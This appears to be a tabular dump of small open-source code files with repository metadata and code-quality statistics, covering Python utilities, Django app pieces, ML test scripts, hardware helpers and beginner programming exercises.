hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
8e1d2da0ca960eb8ffe6e7d2fe04db2504542a6b
203
py
Python
01_Language/01_Functions/python/array_key_exists.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
3
2020-06-28T07:42:51.000Z
2021-01-15T10:32:11.000Z
01_Language/01_Functions/python/array_key_exists.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
9
2021-03-10T22:45:40.000Z
2022-02-27T06:53:20.000Z
01_Language/01_Functions/python/array_key_exists.py
cliff363825/TwentyFour
09df59bd5d275e66463e343647f46027397d1233
[ "MIT" ]
1
2021-01-15T10:51:24.000Z
2021-01-15T10:51:24.000Z
# coding: utf-8 def array_key_exists(key, d): return key in d if __name__ == '__main__': search_array = {'first': 1, 'second': 4, '': False} print(array_key_exists('first', search_array))
20.3
55
0.64532
30
203
3.9
0.666667
0.136752
0.239316
0
0
0
0
0
0
0
0
0.018293
0.192118
203
9
56
22.555556
0.695122
0.064039
0
0
0
0
0.12766
0
0
0
0
0
0
1
0.2
false
0
0
0.2
0.4
0.2
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
3
8e23aa882b7cbc8e395252a488274f0f797a2af1
108
py
Python
html5validator/__init__.py
Acidburn0zzz/html5validator
20d70391ba80f93a8de21d5856e2dc4a5aaf574a
[ "MIT" ]
1
2017-04-09T16:52:03.000Z
2017-04-09T16:52:03.000Z
html5validator/__init__.py
Acidburn0zzz/html5validator
20d70391ba80f93a8de21d5856e2dc4a5aaf574a
[ "MIT" ]
null
null
null
html5validator/__init__.py
Acidburn0zzz/html5validator
20d70391ba80f93a8de21d5856e2dc4a5aaf574a
[ "MIT" ]
null
null
null
"""Validate HTML5 files.""" __version__ = "0.2.6" from .validator import Validator, JavaNotFoundException
18
55
0.75
12
108
6.416667
0.916667
0
0
0
0
0
0
0
0
0
0
0.042105
0.12037
108
5
56
21.6
0.768421
0.194444
0
0
0
0
0.061728
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
f3cafc8572bf966662773466160d987a047bba16
103
py
Python
arithmetics.py
Alba126/Laba3
897a520d49a6cdf14c490e0a85029866f32dc1d8
[ "MIT" ]
null
null
null
arithmetics.py
Alba126/Laba3
897a520d49a6cdf14c490e0a85029866f32dc1d8
[ "MIT" ]
null
null
null
arithmetics.py
Alba126/Laba3
897a520d49a6cdf14c490e0a85029866f32dc1d8
[ "MIT" ]
null
null
null
a = int(input("Решить пример 4*100-54")) print("Ответ : {0} ".format(a)) print("Правильный ответ 346")
25.75
40
0.660194
17
103
4
0.823529
0
0
0
0
0
0
0
0
0
0
0.10989
0.116505
103
3
41
34.333333
0.637363
0
0
0
0
0
0.524272
0
0
0
0
0
0
1
0
false
0
0
0
0
0.666667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
f3d1ec728f51e608173b939645b6dd90354b3d2e
3,726
py
Python
wgpu/gui/wx.py
marcdownie/wgpu-py
c3aa669610e631ce7a1143c10fda100a1c2751cc
[ "BSD-2-Clause" ]
74
2020-07-07T06:27:55.000Z
2022-03-21T10:50:00.000Z
wgpu/gui/wx.py
marcdownie/wgpu-py
c3aa669610e631ce7a1143c10fda100a1c2751cc
[ "BSD-2-Clause" ]
98
2020-06-16T12:20:27.000Z
2022-03-23T17:35:44.000Z
wgpu/gui/wx.py
marcdownie/wgpu-py
c3aa669610e631ce7a1143c10fda100a1c2751cc
[ "BSD-2-Clause" ]
11
2020-06-16T11:57:01.000Z
2021-10-05T13:55:07.000Z
""" Support for rendering in a wxPython window. Provides a widget that can be used as a standalone window or in a larger GUI. """ import ctypes from .base import WgpuCanvasBase import wx try: # fix blurry text on windows ctypes.windll.shcore.SetProcessDpiAwareness(1) ctypes.windll.shcore.SetProcessDpiA...
28.661538
76
0.64788
504
3,726
4.632937
0.35119
0.038544
0.017131
0.02227
0.229979
0.175589
0.136188
0.136188
0.136188
0.092505
0
0.008909
0.246914
3,726
129
77
28.883721
0.823236
0.23591
0
0.305556
0
0
0.019272
0
0
0
0
0.007752
0
1
0.263889
false
0.013889
0.041667
0.111111
0.513889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
f3fa66937b00b6543bfcf5156e9fb6e251d6478e
205
py
Python
examples/providers/object.py
vlad-ghita/python-dependency-injector
5cf5bdda24851dd97cfa0f5054f4a8c35ddac014
[ "BSD-3-Clause" ]
null
null
null
examples/providers/object.py
vlad-ghita/python-dependency-injector
5cf5bdda24851dd97cfa0f5054f4a8c35ddac014
[ "BSD-3-Clause" ]
null
null
null
examples/providers/object.py
vlad-ghita/python-dependency-injector
5cf5bdda24851dd97cfa0f5054f4a8c35ddac014
[ "BSD-3-Clause" ]
null
null
null
"""Object providers example.""" import dependency_injector.providers as providers # Creating object provider: object_provider = providers.Object(1) # Making some asserts: assert object_provider() == 1
18.636364
49
0.77561
24
205
6.5
0.583333
0.269231
0
0
0
0
0
0
0
0
0
0.011173
0.126829
205
10
50
20.5
0.860335
0.356098
0
0
0
0
0
0
0
0
0
0
0.333333
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
6d003480422c38e2ea97209d086275491c80c131
117
py
Python
src/mic_base.py
culiutudousi/kim-voice-assistant
b3e01fa8235094fbddb5041ff6d717ee00b555bc
[ "MIT" ]
75
2018-02-26T10:26:59.000Z
2022-03-24T15:15:40.000Z
src/mic_base.py
tenstone/xiaoyun-smart-speaker
2f93db2a408efe84a3a894fb877b40da073073a7
[ "MIT" ]
2
2018-06-26T01:34:58.000Z
2019-05-15T01:59:55.000Z
src/mic_base.py
tenstone/xiaoyun-smart-speaker
2f93db2a408efe84a3a894fb877b40da073073a7
[ "MIT" ]
17
2018-02-26T10:27:01.000Z
2021-11-29T06:07:03.000Z
# -*- coding: utf-8-*- from src.components import logger class MicBase: def __init__(self): pass
8.357143
33
0.598291
14
117
4.714286
1
0
0
0
0
0
0
0
0
0
0
0.011905
0.282051
117
13
34
9
0.77381
0.17094
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0.25
0.25
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
6d3e5073aea2c3e2222a73c1c1a094386dc3abd0
272
py
Python
dictionaries lab/Odd occurences.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
dictionaries lab/Odd occurences.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
dictionaries lab/Odd occurences.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
data = [word.lower() for word in input().split()] odd_dict = {} for word in data: if word in odd_dict: odd_dict[word] += 1 else: odd_dict[word] = 1 for word, value in odd_dict.items(): if odd_dict[word] % 2 != 0: print(word, end=" ")
20.923077
49
0.566176
44
272
3.363636
0.409091
0.283784
0.222973
0.162162
0
0
0
0
0
0
0
0.020513
0.283088
272
12
50
22.666667
0.738462
0
0
0
0
0
0.003676
0
0
0
0
0
0
1
0
false
0
0
0
0
0.1
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ed8d1c54d854a87f5a0983c77d389fcbc768dec5
387
py
Python
paz/processors/renderer.py
niqbal996/paz
f27205907367415d5b21f90e1a1d1d1ce598e889
[ "MIT" ]
300
2020-10-29T08:02:05.000Z
2022-03-30T21:47:32.000Z
paz/processors/renderer.py
albertofernandezvillan/paz
9fbd50b993f37e1e807297a29c6044c09967c9cc
[ "MIT" ]
30
2020-10-29T12:40:32.000Z
2022-03-31T14:06:35.000Z
paz/processors/renderer.py
albertofernandezvillan/paz
9fbd50b993f37e1e807297a29c6044c09967c9cc
[ "MIT" ]
62
2020-10-29T12:34:13.000Z
2022-03-29T05:21:45.000Z
from ..abstract import Processor class Render(Processor): """Render images and labels. # Arguments renderer: Object that renders images and labels using a method ''render_sample()''. """ def __init__(self, renderer): super(Render, self).__init__() self.renderer = r...
22.764706
70
0.627907
42
387
5.571429
0.571429
0.153846
0.128205
0
0
0
0
0
0
0
0
0
0.268734
387
16
71
24.1875
0.826855
0.346253
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.142857
0.142857
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ed8d88f6a81d7dac1824e0b3f7af37703eca0f31
706
py
Python
rlbench/tasks/close_laptop_lid.py
Nicolinho/RLBench
3014e872f518d5439e73e057e2251dee1f9df481
[ "BSD-3-Clause" ]
619
2019-09-26T23:15:57.000Z
2022-03-15T23:46:48.000Z
rlbench/tasks/close_laptop_lid.py
Nicolinho/RLBench
3014e872f518d5439e73e057e2251dee1f9df481
[ "BSD-3-Clause" ]
147
2019-09-27T02:22:45.000Z
2022-03-30T08:37:43.000Z
rlbench/tasks/close_laptop_lid.py
Nicolinho/RLBench
3014e872f518d5439e73e057e2251dee1f9df481
[ "BSD-3-Clause" ]
142
2019-09-27T03:43:12.000Z
2022-03-13T19:00:18.000Z
from typing import List, Tuple import numpy as np from pyrep.objects.joint import Joint from rlbench.backend.task import Task from rlbench.backend.conditions import JointCondition class CloseLaptopLid(Task): def init_task(self) -> None: laptop_joint = Joint('joint') self.register_success_conditio...
29.416667
78
0.65864
97
706
4.701031
0.453608
0.026316
0.026316
0.017544
0.035088
0.035088
0
0
0
0
0
0.022018
0.228045
706
23
79
30.695652
0.814679
0
0
0
0
0
0.07932
0
0
0
0
0
0
1
0.235294
false
0
0.294118
0.176471
0.764706
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ed90513ca82de1e71cc489e25ccb73719ca77379
270
py
Python
curso python/exercicios/mundo-1/ex032/aumentosmultiplos.py
lucasrenandns/Python-3
284b93a5538b3978d57593b5a664b1d2d98c6e1a
[ "MIT" ]
1
2022-02-09T19:05:05.000Z
2022-02-09T19:05:05.000Z
curso python/exercicios/mundo-1/ex032/aumentosmultiplos.py
lucasrenandns/Python-3
284b93a5538b3978d57593b5a664b1d2d98c6e1a
[ "MIT" ]
null
null
null
curso python/exercicios/mundo-1/ex032/aumentosmultiplos.py
lucasrenandns/Python-3
284b93a5538b3978d57593b5a664b1d2d98c6e1a
[ "MIT" ]
null
null
null
salario = float(input("Qual é o salário do funcionário? R$ ")) if salario <= 1250: novo = salario + (salario * 15 / 100) else: novo = salario + (salario * 10 / 100) print("O funcionário que ganhava R${:.2f} passará a ganhar R${:.2f} agora".format(salario, novo))
45
97
0.651852
40
270
4.4
0.65
0.125
0.204545
0
0
0
0
0
0
0
0
0.073059
0.188889
270
6
97
45
0.730594
0
0
0
0
0
0.376384
0
0
0
0
0
0
1
0
false
0.166667
0
0
0
0.166667
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
3
ed9b126d38602ae163a66d4edbfe9c1ba13cb52f
320
py
Python
burglar_alarm/buzzer.py
ryankim5/burglar-alarm
d2ab824d792b39f7be38ec30373d2ec11391a946
[ "MIT" ]
null
null
null
burglar_alarm/buzzer.py
ryankim5/burglar-alarm
d2ab824d792b39f7be38ec30373d2ec11391a946
[ "MIT" ]
null
null
null
burglar_alarm/buzzer.py
ryankim5/burglar-alarm
d2ab824d792b39f7be38ec30373d2ec11391a946
[ "MIT" ]
null
null
null
import RPi.GPIO as GPIO from time import sleep class Buzzer: def __init__(self, buzzerPin): self.pin = buzzerPin GPIO.setmode(GPIO.BOARD) GPIO.setup(buzzerPin, GPIO.OUT) def on(self): GPIO.output(self.pin, GPIO.HIGH) def off(self): GPIO.output(self.pin, GPIO.LOW)
20
40
0.63125
45
320
4.4
0.511111
0.106061
0.141414
0.181818
0.252525
0.252525
0
0
0
0
0
0
0.259375
320
15
41
21.333333
0.835443
0
0
0
0
0
0
0
0
0
0
0
0
1
0.272727
false
0
0.181818
0
0.545455
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
eda445cfa0529713f9aedd7f9f750c8089db8ff6
3,241
py
Python
tests/zero_code_change/horovod_tests/pytorch/test_hvd.py
aaronmarkham/sagemaker-debugger
d271fbefb0cbe9686100850249c96a40fdc45b06
[ "Apache-2.0" ]
null
null
null
tests/zero_code_change/horovod_tests/pytorch/test_hvd.py
aaronmarkham/sagemaker-debugger
d271fbefb0cbe9686100850249c96a40fdc45b06
[ "Apache-2.0" ]
null
null
null
tests/zero_code_change/horovod_tests/pytorch/test_hvd.py
aaronmarkham/sagemaker-debugger
d271fbefb0cbe9686100850249c96a40fdc45b06
[ "Apache-2.0" ]
null
null
null
# Standard Library # Third Party from tests.zero_code_change.horovod_tests.constants import HOROVOD_PYTORCH_TEST_MNIST_SCRIPT from tests.zero_code_change.horovod_tests.utils import launch_horovod_job from tests.zero_code_change.utils import build_json from torch.cuda import device_count # First Party from smdebug.tri...
31.77451
99
0.710275
467
3,241
4.588865
0.199143
0.058796
0.056463
0.063462
0.822678
0.789081
0.721885
0.621092
0.621092
0.574428
0
0.008585
0.173403
3,241
101
100
32.089109
0.79134
0.039803
0
0.535211
0
0
0.056417
0
0
0
0
0
0.15493
1
0.126761
false
0
0.070423
0
0.197183
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
edcafc73278eb158f53427b8dbd59114bca0a2ed
135
py
Python
micro-benchmark/snippets/generators/yield/main.py
WenJinfeng/PyCG
b45e8e04fe697d8301cf27222a8f37646d69f168
[ "Apache-2.0" ]
121
2020-12-16T20:31:37.000Z
2022-03-21T20:32:43.000Z
micro-benchmark/snippets/generators/yield/main.py
WenJinfeng/PyCG
b45e8e04fe697d8301cf27222a8f37646d69f168
[ "Apache-2.0" ]
24
2021-03-13T00:04:00.000Z
2022-03-21T17:28:11.000Z
micro-benchmark/snippets/generators/yield/main.py
WenJinfeng/PyCG
b45e8e04fe697d8301cf27222a8f37646d69f168
[ "Apache-2.0" ]
19
2021-03-23T10:58:47.000Z
2022-03-24T19:46:50.000Z
def func2(): pass def func1(n): num = 0 while num < n: yield func2 num += 1 for i in func1(100): i()
11.25
20
0.466667
21
135
3
0.666667
0
0
0
0
0
0
0
0
0
0
0.113924
0.414815
135
11
21
12.272727
0.683544
0
0
0
0
0
0
0
0
0
0
0
0
1
0.222222
false
0.111111
0
0
0.222222
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
eddfb6789708b037157b29985522adc66be0632b
718
py
Python
basiclive/core/publications/migrations/0005_auto_20200113_2357.py
znarthur/basic-live
79c194311de05af2e1bb21d1bc8c6c14dda356d0
[ "BSD-3-Clause" ]
null
null
null
basiclive/core/publications/migrations/0005_auto_20200113_2357.py
znarthur/basic-live
79c194311de05af2e1bb21d1bc8c6c14dda356d0
[ "BSD-3-Clause" ]
1
2020-12-03T15:27:09.000Z
2020-12-03T15:27:09.000Z
basiclive/core/publications/migrations/0005_auto_20200113_2357.py
znarthur/basic-live
79c194311de05af2e1bb21d1bc8c6c14dda356d0
[ "BSD-3-Clause" ]
1
2021-09-28T21:06:09.000Z
2021-09-28T21:06:09.000Z
# Generated by Django 3.0.2 on 2020-01-14 05:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('publications', '0004_auto_20200113_2227'), ] operations = [ migrations.AlterField( model_name='journal', name='publi...
24.758621
74
0.568245
70
718
5.7
0.6
0.150376
0.18797
0.218045
0.300752
0.300752
0
0
0
0
0
0.075356
0.316156
718
28
75
25.642857
0.737271
0.062674
0
0.409091
1
0
0.119225
0.034277
0
0
0
0
0
1
0
false
0
0.045455
0
0.181818
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ede098bae431a30d7376a3e96cc3c2f1f03e8ce2
183
py
Python
jukebox/routing.py
wonwooseo/portable_jukebox_project
970de1d78d770fac6cae26be9fcc6d94a10fa47a
[ "MIT" ]
null
null
null
jukebox/routing.py
wonwooseo/portable_jukebox_project
970de1d78d770fac6cae26be9fcc6d94a10fa47a
[ "MIT" ]
3
2019-05-31T13:28:09.000Z
2019-05-31T13:28:58.000Z
jukebox/routing.py
wonwooseo/portable_jukebox_project
970de1d78d770fac6cae26be9fcc6d94a10fa47a
[ "MIT" ]
null
null
null
from django.urls import path from . import consumers websocket_urlpatterns = [ path('ws/skipadd/', consumers.SkipAddConsumer), path('ws/music/', consumers.MusicConsumer), ]
20.333333
51
0.73224
20
183
6.65
0.65
0.090226
0
0
0
0
0
0
0
0
0
0
0.142077
183
8
52
22.875
0.847134
0
0
0
0
0
0.10929
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
6109ec6f7e76f55b6729789ee6fe33d7cb0c82e7
176
py
Python
pydocx/export/mixins/__init__.py
botzill/pydocx
98c6aa626d875278240eabea8f86a914840499b3
[ "Apache-2.0" ]
127
2015-01-12T22:35:34.000Z
2022-01-20T06:24:18.000Z
pydocx/export/mixins/__init__.py
turbo-q/pydocx
98c6aa626d875278240eabea8f86a914840499b3
[ "Apache-2.0" ]
156
2015-01-05T19:55:56.000Z
2020-10-14T07:01:42.000Z
pydocx/export/mixins/__init__.py
turbo-q/pydocx
98c6aa626d875278240eabea8f86a914840499b3
[ "Apache-2.0" ]
45
2015-02-22T18:52:08.000Z
2021-06-14T08:05:47.000Z
from pydocx.export.mixins.faked_superscript_and_subscript import ( FakedSuperscriptAndSubscriptExportMixin, ) __all__ = [ 'FakedSuperscriptAndSubscriptExportMixin', ]
22
66
0.818182
12
176
11.416667
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.113636
176
7
67
25.142857
0.878205
0
0
0
0
0
0.221591
0.221591
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
61123dadae828b035027698562404621663b7c3e
957
py
Python
app/app/mixin.py
prapeller/chinesebreak_django_drf
48679bd67027a29eefc3c2e408d08fe2dff3ce0a
[ "MIT" ]
null
null
null
app/app/mixin.py
prapeller/chinesebreak_django_drf
48679bd67027a29eefc3c2e408d08fe2dff3ce0a
[ "MIT" ]
null
null
null
app/app/mixin.py
prapeller/chinesebreak_django_drf
48679bd67027a29eefc3c2e408d08fe2dff3ce0a
[ "MIT" ]
null
null
null
from django.contrib.auth.decorators import user_passes_test, login_required from django.utils.decorators import method_decorator from django.views import View from django.views.generic.base import ContextMixin class IsStuffDispatchMixin(View): @method_decorator(user_passes_test(lambda u: u is not None and u.is_st...
38.28
87
0.748171
118
957
5.932203
0.364407
0.057143
0.097143
0.065714
0.38
0.38
0.282857
0.282857
0.16
0.16
0
0
0.15047
957
25
88
38.28
0.861009
0
0
0.111111
0
0
0.005219
0
0
0
0
0
0
1
0.166667
false
0.166667
0.222222
0.111111
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
1
1
0
0
3
6125a7bbf40b82d4076895690f0bbeb60a5a0fb5
1,152
py
Python
python/codingbat/src/make_abba.py
christopher-burke/warmups
140c96ada87ec5e9faa4622504ddee18840dce4a
[ "MIT" ]
null
null
null
python/codingbat/src/make_abba.py
christopher-burke/warmups
140c96ada87ec5e9faa4622504ddee18840dce4a
[ "MIT" ]
2
2022-03-10T03:49:14.000Z
2022-03-14T00:49:54.000Z
python/codingbat/src/make_abba.py
christopher-burke/warmups
140c96ada87ec5e9faa4622504ddee18840dce4a
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """Make abba. Given two strings, a and b, return the result of putting them together in the order abba, e.g. "Hi" and "Bye" returns "HiByeByeHi". make_abba('Hi', 'Bye') → 'HiByeByeHi' make_abba('Yo', 'Alice') → 'YoAliceAliceYo' make_abba('What', 'Up') → 'WhatUpUpWhat' source: https://codingba...
27.428571
131
0.62066
165
1,152
4.218182
0.381818
0.172414
0.181034
0.068966
0.357759
0.357759
0.357759
0.357759
0.357759
0.357759
0
0.008611
0.193576
1,152
41
132
28.097561
0.737352
0.484375
0
0
0
0
0.239286
0
0
0
0
0
0.6
1
0.133333
false
0.066667
0
0
0.2
0.066667
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
1
0
0
0
0
0
3
612cdff6c4e177b963f6f40a643c4ab737477c0f
20,146
pyde
Python
CmuMaps.pyde
dongkyuk/CmuMaps
d1c3087650e0aacf361b2b08cfe0f42e0817f1cd
[ "MIT" ]
5
2019-09-15T01:47:41.000Z
2020-01-18T22:27:05.000Z
CmuMaps.pyde
dongkyuk/CmuMaps
d1c3087650e0aacf361b2b08cfe0f42e0817f1cd
[ "MIT" ]
null
null
null
CmuMaps.pyde
dongkyuk/CmuMaps
d1c3087650e0aacf361b2b08cfe0f42e0817f1cd
[ "MIT" ]
null
null
null
from collections import defaultdict class Graph(): def __init__(self): """0 self.edges is a dict of all possible next nodes e.g. {'X': ['A', 'B', 'C', 'E'], ...} self.weights has all the weights between two nodes, with the two nodes as a tuple as the key e.g. {('X',...
33.02623
1,841
0.488186
2,602
20,146
3.75442
0.263259
0.012488
0.019961
0.019347
0.245163
0.214454
0.184256
0.172996
0.131846
0.11342
0
0.335444
0.255237
20,146
609
1,842
33.08046
0.315649
0.049687
0
0.164151
0
0
0.208717
0
0
0
0
0
0
1
0.022642
false
0
0.00566
0
0.037736
0.011321
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b626cecbb3746c19f77b938b29174d9b93258939
544
py
Python
medium/Q50_PowxN.py
Kaciras/leetcode
d203aecd1afe1af13a0384a9c657c8424aab322d
[ "MIT" ]
null
null
null
medium/Q50_PowxN.py
Kaciras/leetcode
d203aecd1afe1af13a0384a9c657c8424aab322d
[ "MIT" ]
null
null
null
medium/Q50_PowxN.py
Kaciras/leetcode
d203aecd1afe1af13a0384a9c657c8424aab322d
[ "MIT" ]
null
null
null
class Solution: def myPow(self, x, n): """ :type x: float :type n: int :rtype: float """ if n == 0: return 1 negative, result = n < 0, 1 n = abs(n) while n > 0: base, p = x, 2 while p < n: base *= base p *= 2 result *= base n -= p // 2 return 1 / result if negative else res...
17
45
0.569853
87
544
3.471264
0.37931
0.215232
0.298013
0.251656
0.13245
0
0
0
0
0
0
0.112745
0.25
544
31
46
17.548387
0.627451
0.075368
0
0
0
0
0.016461
0
0
0
0
0
0
1
0.05
false
0
0
0
0.2
0.25
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b6318ddff5a4f1fba3672351d3123ee4d602149a
39
py
Python
tests/module/blueprints/config.py
openspending/os-conductor
5d2f5e5df57da8eda6e1ffd3614beb5e1aaad831
[ "MIT" ]
5
2016-03-02T15:07:56.000Z
2019-09-14T15:58:53.000Z
tests/module/blueprints/config.py
openspending/os-conductor
5d2f5e5df57da8eda6e1ffd3614beb5e1aaad831
[ "MIT" ]
27
2015-12-10T07:51:38.000Z
2021-03-25T21:48:17.000Z
tests/module/blueprints/config.py
openspending/os-conductor
5d2f5e5df57da8eda6e1ffd3614beb5e1aaad831
[ "MIT" ]
5
2016-06-17T09:51:30.000Z
2020-12-08T07:50:23.000Z
LOCAL_ELASTICSEARCH = 'localhost:9200'
19.5
38
0.820513
4
39
7.75
1
0
0
0
0
0
0
0
0
0
0
0.111111
0.076923
39
1
39
39
